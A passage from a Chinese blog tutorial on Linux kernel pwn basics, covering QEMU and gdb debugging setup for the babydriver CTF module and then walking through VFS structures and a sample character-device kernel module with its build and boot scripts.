  • 添加 -s,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver

start.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokaslr' \
-enable-kvm \
-monitor /dev/null -m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s

为了加载 babydriver.ko 的符号信息,需要获取其代码段的地址,需要修改 init 内容获取 root 权限。

./rootfs/init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys
poweroff -d 0 -f

重新打包并启动系统,查询代码段地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 第一种方法
-------------------------------------------------
/ # lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
-------------------------------------------------
# 第二种方法
/ # find /sys/ | grep babydrive
/sys/module/babydriver
/sys/module/babydriver/srcversion
/sys/module/babydriver/notes
/sys/module/babydriver/notes/.note.gnu.build-id
/sys/module/babydriver/taint
/sys/module/babydriver/initstate
/sys/module/babydriver/coresize
/sys/module/babydriver/sections
/sys/module/babydriver/sections/.bss
/sys/module/babydriver/sections/.init.text
/sys/module/babydriver/sections/.data
/sys/module/babydriver/sections/.text
/sys/module/babydriver/sections/__mcount_loc
/sys/module/babydriver/sections/.strtab
/sys/module/babydriver/sections/.symtab
/sys/module/babydriver/sections/.gnu.linkonce.this_module
/sys/module/babydriver/sections/.rodata.str1.1
/sys/module/babydriver/sections/.note.gnu.build-id
/sys/module/babydriver/sections/.exit.text
/sys/module/babydriver/refcnt
/sys/module/babydriver/uevent
/sys/module/babydriver/holders
/sys/module/babydriver/initsize
/ # cat /sys/module/babydriver/sections/.text
0xffffffffc0000000

gdb.sh

1
2
3
4
5
6
7
#!/bin/sh
gdb -q \
-ex "file $(find . -name vmlinux)" \
-ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \
-ex "target remote localhost:1234" \
-ex "b *0xffffffffc0000030" \
-ex "c"

运行 exp 后成功到断点。

image-20231207102120309

内核模块开发

文件系统

后面打算做一个文件系统的专题(其实打算把Linux kernel的五大模块都写一遍),略微详细些讲解可以先看一下我blog的另一篇文章浅析Linux内核之文件与IO

在Linux系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作。图中所示为Linux中虚拟文件系统(VFS)、磁盘/Flash文件系统及一般的设备文件与设备驱动程序之间的关系。

filesys

应用程序和 VFS 之间的接口是系统调用,而 VFS 与文件系统以及设备文件之间的接口是 file_operations 结构体成员函数,这个结构体包含对文件进行打开、关闭、读写、控制的一系列成员函数。

file结构体

file 结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file 。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。在内核和驱动源代码中,struct file 的指针通常被命名为 filefilp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;

/*
* Protects f_ep, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;

u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;

#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct hlist_head *f_ep;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */

inode结构体

VFS inode包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct inode {
umode_t i_mode; // inode的权限
unsigned short i_opflags;
kuid_t i_uid; // inode所有者的id
kgid_t i_gid; // inode所属的群组id
unsigned int i_flags;
...
dev_t i_rdev; // 若是设备文件,此字段将记录设备的设备号
loff_t i_size; // inode所代表的文件大小
struct timespec i_atime; // inode最近一次的存取时间
struct timespec i_mtime; // inode最近一次的修改时间
struct timespec i_ctime; // inode的产生时间
spinlock_t i_lock; /* i_blocks, i_bytes, maybe i_size */
unsigned short i_bytes;
unsigned int i_blkbits;
blkcnt_t i_blocks; // inode所使用的block数,一个block为512字节
...
union {
struct pipe_inode_info *i_pipe;
struct block_device *i_bdev; // 若是块设备,为其对应的block_device结构体指针
struct cdev *i_cdev; // 若是字符设备,为其对应的cdev结构体指针
};

查看 /proc/devices 文件可以获知系统中注册的设备,第一列为主设备号,第二列为设备名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat /proc/devices
Character devices:
1 mem
4 /dev/vc/0
4 tty
4 ttyS
5 /dev/tty
5 /dev/console
5 /dev/ptmx
...
Block devices:
259 blkext
7 loop
8 sd
9 md
11 sr
65 sd
...

查看 /dev 目录可以获知系统中包含的设备文件,日期前的两列对应设备的主设备号和次设备号, 主设备号是与驱动对应的概念,同一类设备一般用相同的主设备号,不同类设备的主设备号一般不同。

1
2
3
4
5
6
$ ls -al /dev
total 0
drwxr-xr-x 8 root root 2940 May 8 14:17 .
drwxr-xr-x 11 root root 0 May 8 14:18 ..
drwxr-xr-x 2 root root 60 May 8 14:17 bsg
crw-rw---- 1 root root 5, 1 May 8 14:17 console

字符驱动设备

cdev 结构体

cdev 为 linux 描述字符设备的一个结构。

1
2
3
4
5
6
7
8
struct cdev {
struct kobject kobj; // 内嵌的kobject对象
struct module *owner; // 所属模块
struct file_operations *ops; // 文件操作结构体
struct list_head list;
dev_t dev; // 设备号
unsigned int count;
}

dev_t 定义了设备号,为 32 位,其中 12 位为主设备号,20 位为次设备号。下面的宏可以获得主设备号和次设备号:

1
2
MAJOR(dev_t dev)
MINOR(dev_t dev)

Linux 内核提供了一组函数用于操作 cdev 结构体:

1
2
3
4
5
6
void cdev_init(struct cdev *, struct file_operations *); // 用于初始化cdev的成员,并建立cdev和file_operations之间的连接
struct cdev *cdev_alloc(void); // 用于动态申请一个cdev内存
void cdev_put(struct cdev *p);
// 用向系统添加和删除一个cdev,完成字符设备的注册和注销
int cdev_add(struct cdev *, dev_t, unsigned); // 通常在字符设备驱动模块加载函数中调用
void cdev_del(struct cdev *); // 字符设备驱动模块卸载函数中调用

在调用 cdev_add() 函数向系统注册字符设备之前,应首先调用 register_chrdev_region()alloc_chrdev_region() 函数向系统申请设备号:

1
2
int register_chrdev_region(dev_t from, unsigned count, const char *name);
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, const char *name);

register_chrdev_region() 函数用于已知起始设备的设备号的情况,而 alloc_chrdev_region() 用于设备号未知,向系统动态申请未被占用的设备号的情况。

file_operations 结构体

file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容,这些函数实际会在应用程序进行 Linux 的 open()write()read()close() 等系统调用时最终被内核调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

下面对 file_operations 结构体中的主要成员简要介绍:

  • llseek() 函数用来修改一个文件的当前读写位置,并将新位置返回,在出错时,这个函数返回一个负值。
  • read() 函数用来从设备中读取数据,成功时函数返回读取的字节数,出错时返回一个负值。
  • write() 函数向设备发送数据,成功时该函数返回写入的字节数。如果次函数未被实现,当用户进行 write() 系统调用时,将得到 -EINVAL 返回值。
  • unlocked_ioctl() 提供设备相关控制命令的实现,当调用成功时,返回给调用程序一个非负值。

内核模块编写

单独建立一个文件夹来编写代码。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/*
* linux/module.h是Linux内核模块变成必须包含的头文件
* 头文件kernel.h包含了常用的内核函数
* 头文件init.h包含了宏_init和_exit,它们允许释放内核占用的内存。
*/
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;
/*
* 参数必须使用module_param宏来声明,这个宏在moduleparam.h中定义。
* module_param需要三个参数:变量的名称、类型以及用于sysfs入口项的访问许可掩码,
* 这个宏必须放在任何函数之外,通常在源文件头部。
*/
module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);

struct hello_dev {
struct cdev cdev;
unsigned char mem[MAX_SIZE];
} * hello_devp;

static int hello_open(struct inode *id, struct file *filp);
static int hello_releace(struct inode *id, struct file *filp);
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos);
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos);
static loff_t hello_llseek(struct file *filp, loff_t offset, int op);

static const struct file_operations hello_fops = {
.owner = THIS_MODULE,
.llseek = hello_llseek,
.read = hello_read,
.write = hello_write,
.unlocked_ioctl = hello_ioctl,
.open = hello_open,
.release = hello_releace,
};
/* hello_init函数是模块初始化函数,他会在内核模块被加载的时候执行,使用__init进行修饰,一般用它来初始化数据结构等内容; */
static int __init hello_init(void) {
int ret;
dev_t devno = MKDEV(hello_major, hello_minor);
if (hello_major)
ret = register_chrdev_region(devno, 1, "myko");
else {
ret = alloc_chrdev_region(&devno, 0, 1, "myko");
hello_major = MAJOR(devno);
}
if (ret < 0) return ret;
hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
if (!hello_devp) {
unregister_chrdev_region(devno, 1);
return -ENOMEM;
}
cdev_init(&hello_devp->cdev, &hello_fops);
hello_devp->cdev.owner = THIS_MODULE;
int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
return 0;
}
/*
* 函数module_init()和clearnup_exit()是模块编程中最基本也是必须得两个函数,它用来指定模块加载和退出时调用的函数,
* 这里加载的是我们定义好的两个函数,module_init()向内核注册模块提供新功能,而cleanup_exit()注销由模块提供的所用功能。
*/
module_init(hello_init);

/* hello_exit函数是模块的退出函数,他会在模块在退出的时候执行。 */
static void __exit hello_exit(void) {
cdev_del(&hello_devp->cdev);
kfree(hello_devp);
unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}

module_exit(hello_exit);

static int hello_open(struct inode *id, struct file *filp) {
filp->private_data = hello_devp;
return 0;
}

static int hello_releace(struct inode *id, struct file *filp) {
filp->private_data = NULL;
return 0;
}

static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct hello_dev *dev = filp->private_data;
if (dev == NULL) {
printk("[-] No device\n");
return -EINVAL;
}
switch (cmd) {
case MEM_CLEAR:
memset(dev->mem, 0, sizeof(dev->mem));
printk("[+] Clear success\n");
break;
default:
printk("[-] Error command\n");
return -EINVAL;
}
return 0;
}

static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_to_user(buf, dev->mem + *pos, count))
return -EFAULT;
*pos += count;
printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
return count;
}

static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_from_user(dev->mem + *pos, buf, count))
return -EFAULT;
*pos += count;
printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
return count;
}

static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
if (op != 0 && op != 1) return -EINVAL;
if (op == 1) offset += filp->f_pos;
if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
return filp->f_pos = offset;
}

makefile

1
2
3
4
5
6
7
8
9
10
11
obj-m := ko_test.o

KERNELDR :=/home/kl/linux-5.4.98

PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules

clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

make 之后,将 ko_test.ko 文件打包进 busybox 文件系统中,并创建文件夹 mkdir -p lib tmp proc sys dev etc/init.d。然后创建启动脚本并赋予其可执行权限。

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /lib/ko_test.ko
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -f

之后在busybox 根目录运行命令 find . | cpio -o -H newc > ../rootfs.img 。将编译好的/kernel/arch/x86/boot/bzImage复制到rootfs.img 同级目录。

启动 qemu。

1
2
3
4
5
6
7
8
9
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-smp cores=2,threads=1 \
-cpu kvm64

image-20240201192628878

  • Title: 深入理解Pwn_Kernel基础篇
  • Author: 韩乔落
  • Created at : 2025-12-15 14:36:16
  • Updated at : 2025-12-18 19:08:00
  • Link: https://jelasin.github.io/2025/12/15/深入理解Pwn_Kernel基础篇/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments